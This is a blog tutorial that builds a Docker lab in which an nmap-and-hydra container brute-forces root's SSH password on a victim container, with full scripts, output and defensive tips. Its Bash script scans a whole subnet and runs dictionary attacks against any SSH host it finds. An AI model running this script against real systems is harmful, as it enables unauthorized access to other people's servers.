Nmap + THC hydra + OpenSSH + Docker

by: Artur Dziedziczak

May 22, 2020


A long time ago I was really interested in the hacking and art of software exploitation but since I moved from Java/SysAdmin to more front end jobs I kind of lost track of what are the attacks on the server-side of the software. I started to read more about XSS, different types of SQL injections, and exploits that I can use in the browser

But today I would like to share with you some old tools that I used to crack ssh server passwords

Why Docker?

When I was younger and didn’t have much experience I used to configure my hacking lab on VirtualBox. This was really painful. Whenever I wanted to make some server to test vulnerabilities I had to install Linux distribution and connect it with the proper configuration in VBox GUI

Times have changed and now we can use Docker for that. It gives the following advantages:

  • It’s lightweight. If it’s properly configured and light images are used.
  • It allows you to quickly set up networks between containers. It’s hard to mess this up and if you do it’s easy to debug.
  • It has a lot of ready to use images for applications like OpenSSH, PHP, Apache, etc. so it’s easy to prepare lab.

What I did

So the goal I put was pretty basic. I wanted to make two containers that were in this same network where one was configured as an attacker and the second one was a victim

The victim has OpenSSH [1] server configured with some simple password to crack and the attacker has thc-hydra [8] and nmap [2] installed which will perform the attack

My attack script is written in Bash and if you would like to learn more about bash, feel free to check this free ebook. [3]



version: '3.5'

      context: .
      dockerfile: ./ssh-server/Dockerfile
     - "2222:22"
    - my-network
      context: .
      dockerfile: ./nmap-hydra/Dockerfile
     - "./nmap-hydra/script.sh:/usr/bin/script.sh"
     - my-network
    external: false
    name: my-network

As you can see docker-compose.yml file consists of two containers:

  • ssh-server
  • nmap-hydra

Which are both connected via network my-network

Container nmap-hydra is also using volume which mounts script.sh

This is a future script which will be invoked inside the container

FROM kalilinux/kali-rolling
# Install common dependencies
RUN apt-get update && apt-get install -y \
 nmap \
 net-tools \
 grep \
 curl \
 tar \
 make \
 git \
 jq \

# Install hydra dependencies
RUN apt-get install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev \
                 libgtk2.0-dev libpq-dev libsvn-dev \
                 firebird-dev libmemcached-dev libgpg-error-dev

RUN git clone https://github.com/vanhauser-thc/thc-hydra.git
RUN cd thc-hydra && ./configure && make && make install
ENTRYPOINT [ "bash", "/usr/bin/script.sh" ]

This is a Dockerfile of the attacker. As you can see, various dependencies are required to make attack successful: nmap, net-tools. Other mentioned dependencies are required to build thc-hydra from the source code

FROM sickp/alpine-sshd:latest
RUN echo "root:iloveyou2" | chpasswd

Last Dockerfile specifies the origin of the image for OpenSSH and sets the login and password of ssh server to root:iloveyou2


curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10000.txt >$passwords_file #1

get_network_ip() {
    ifconfig | grep eth0 -A 2 | grep inet | xargs | cut -d ' ' -f 2

scan_network_for_open_ports() {
    nmap -sV $1/24 -oG $output_file >/dev/null

    while read -r line; do
        ip_address=$(echo $line | cut -d ' ' -f 2)
        ip_addreses="${ip_addreses} ${ip_address}"
    done < <(cat $output_file | grep 'ssh' | grep 'Host')

    unique_addreses=$(echo $ip_addreses | xargs -n 1 | sort -u | xargs)
    echo "$unique_addreses"

print_hosts_menu() {
    echo 'Choose what host to crack:'
    for host_ip in $1; do
        echo "$i) Host: $host_ip";

echo "Scaning network for host..."
unique_ip_addresses="$(scan_network_for_open_ports $ip_address)"

print_hosts_menu "$unique_ip_addresses"

read ip_index

if (( ip_index < 0 || ip_index > $(echo $unique_ip_addresses | wc -w) )); then
        echo "Not valid index of ip address index $ip_index";
        return -1;

echo "Hydra is checking for password..."
hydra -V -P $passwords_file -l root -o $cracked_credentials -F -b json $(echo $unique_ip_addresses | cut -d ' ' -f $ip_index) ssh

cracked_host=$(cat $cracked_credentials | jq -r '.results[0].host')
cracked_login=$(cat $cracked_credentials | jq -r '.results[0].login')
cracked_password=$(cat $cracked_credentials | jq -r '.results[0].password')

echo "Trying to access ssh server with credentials: $cracked_login:$cracked_password"
sshpass -p"$cracked_password" ssh -o StrictHostKeyChecking=no $cracked_login@$cracked_host 'ps'

This file contains a script that will let the user choose which host of OpenSSH server user would like to crack

First nmap -sV $1/24 is performing scan over the network that is taken from ifconfig. As attacker and victim are in this same network it’s easy to detect victims host. It would be harder if we didn’t set it up that way or if the host would be in completely different network

After a bunch of grep structures program fetches and makes unique group of IP addresses that with read ip_index is chosen by the user

When the user choose which host to attack hydra is performing a dictionary attack. Passwords which it will use come from popular GitHub source that contains lots of credentials. [4]

When hydra crack password it’s written in JSON format to one of the temporary files. After that great library jq is parsing that file to obtain host/login/password

In the end with a dirty trick, I pass this password to ssh. Generally, this sshpass is not recommended. Here you can read more about it. [5]

After the last step, you should get a shell from the victim server

Output from containers

Output from ssh-server after command docker-compose run ssh-server

ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519
Server listening on port 22.
Server listening on :: port 22.
Did not receive identification string from port 45106
Received disconnect from port 45108:11: Bye Bye [preauth]
Disconnected from authenticating user root port 45108 [preauth]
Failed password for root from port 45110 ssh2
Failed password for root from port 45110 ssh2
Failed password for root from port 45126 ssh2
Failed password for root from port 45110 ssh2
Failed password for root from port 45134 ssh2
Failed password for root from port 45124 ssh2
Failed password for root from port 45116 ssh2
Connection closed by authenticating user root port 45172 [preauth]
Connection closed by port 45196 [preauth]
Connection closed by authenticating user root port 45170 [preauth]
Failed password for root from port 45182 ssh2
Failed password for root from port 45166 ssh2
Connection closed by authenticating user root port 45162 [preauth]
Connection closed by authenticating user root port 45176 [preauth]
Failed password for root from port 45168 ssh2
Connection closed by port 45194 [preauth]
Connection closed by authenticating user root port 45182 [preauth]
Connection closed by authenticating user root port 45166 [preauth]
Connection closed by authenticating user root port 45178 [preauth]
Connection closed by authenticating user root port 45174 [preauth]
Connection closed by authenticating user root port 45168 [preauth]
Accepted password for root from port 45198 ssh2
Received disconnect from port 45198:11: disconnected by user
Disconnected from user root port 45198

Output from ssh-server after running docker-compose run nmap-hydra

Scaning network for host...
Choose what host to crack:
1) Host:
Hydra is checking for password...
Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-22 21:37:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9999 login tries (l:1/p:9999), ~625 tries per task
[DATA] attacking ssh://
[ATTEMPT] target - login "root" - pass "123456" - 1 of 9999 [child 0] (0/0)
[ATTEMPT] target - login "root" - pass "123456789" - 2 of 9999 [child 1] (0/0)
[ATTEMPT] target - login "root" - pass "111111" - 3 of 9999 [child 2] (0/0)
[ATTEMPT] target - login "root" - pass "password" - 4 of 9999 [child 3] (0/0)
[ATTEMPT] target - login "root" - pass "qwerty" - 5 of 9999 [child 4] (0/0)
[ATTEMPT] target - login "root" - pass "abc123" - 6 of 9999 [child 5] (0/0)
[ATTEMPT] target - login "root" - pass "12345678" - 7 of 9999 [child 6] (0/0)
[ATTEMPT] target - login "root" - pass "password1" - 8 of 9999 [child 7] (0/0)
[ATTEMPT] target - login "root" - pass "1234567" - 9 of 9999 [child 8] (0/0)
[ATTEMPT] target - login "root" - pass "123123" - 10 of 9999 [child 9] (0/0)
[ATTEMPT] target - login "root" - pass "1234567890" - 11 of 9999 [child 10] (0/0)
[ATTEMPT] target - login "root" - pass "000000" - 12 of 9999 [child 11] (0/0)
[ATTEMPT] target - login "root" - pass "12345" - 13 of 9999 [child 12] (0/0)
[ATTEMPT] target - login "root" - pass "iloveyou" - 14 of 9999 [child 13] (0/0)
[ATTEMPT] target - login "root" - pass "1q2w3e4r5t" - 15 of 9999 [child 14] (0/0)
[ATTEMPT] target - login "root" - pass "1234" - 16 of 9999 [child 15] (0/0)
[ATTEMPT] target - login "root" - pass "123456a" - 17 of 10000 [child 0] (0/1)
[ATTEMPT] target - login "root" - pass "qwertyuiop" - 18 of 10000 [child 0] (0/1)
[ATTEMPT] target - login "root" - pass "michelle" - 120 of 10000 [child 7] (0/1)
[ATTEMPT] target - login "root" - pass "q1w2e3r4" - 121 of 10000 [child 8] (0/1)
[ATTEMPT] target - login "root" - pass "jessica1" - 122 of 10000 [child 9] (0/1)
[22][ssh] host:   login: root   password: iloveyou2
[STATUS] attack finished for (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-22 21:37:56
Trying to access ssh server with credentials: root:iloveyou2
Warning: Permanently added '' (ECDSA) to the list of known hosts.
    1 root      0:00 /usr/sbin/sshd -D -e
   74 root      0:00 sshd: root@notty
   76 root      0:00 ps

As you can see attack was performed successfully


  • Docker is a great tool for configuring hacking labs.
  • thc-hydra allows you to perform quick dictionary attacks on hosts that operate with various services.
  • nmap is a great command-line tool for network scanning

Final notes

  • Use secure passwords and keep in mind that these don’t have to be randomly generated hard to remember passwords. Long sentences will work fine too.
  • Try to not use logins like user/admin/root/admin1 on services that you can log in remotely. This is making the hacking process easier. Generally attack presented above would be a lot harder to perform without the assumption that root is the user that is setup as ssh login.
  • Always set up a firewall that will block services that try to hack your server. I remember that fail2ban [6] [7] was easy to configure and it worked pretty well when it comes to blocking suspicious network traffic.


[1] “Sickp/Alpine-Sshd - Docker Hub.” https://hub.docker.com/r/sickp/alpine-sshd/

[2] “Nmap: The Network Mapper - Free Security Scanner.” https://nmap.org/

[3] “Free Bash Book.” https://books.goalkicker.com/BashBook

[4] “Danielmiessler/SecLists,” GitHub. https://github.com/danielmiessler/SecLists

[5] “Linux - Is Ssh Pass Secure?,” Stack Overflow. https://stackoverflow.com/questions/49908833/is-ssh-pass-secure

[6] “Fail2ban.” https://www.fail2ban.org/wiki/index.php/Main_Page

[7] “How to Prevent Malicious SSH Login Attempts.” https://bubelov.com/blog/fail2ban/, Sep. 2019

[8] van Hauser, “Vanhauser-Thc/Thc-Hydra.” https://github.com/vanhauser-thc/thc-hydra, May 2020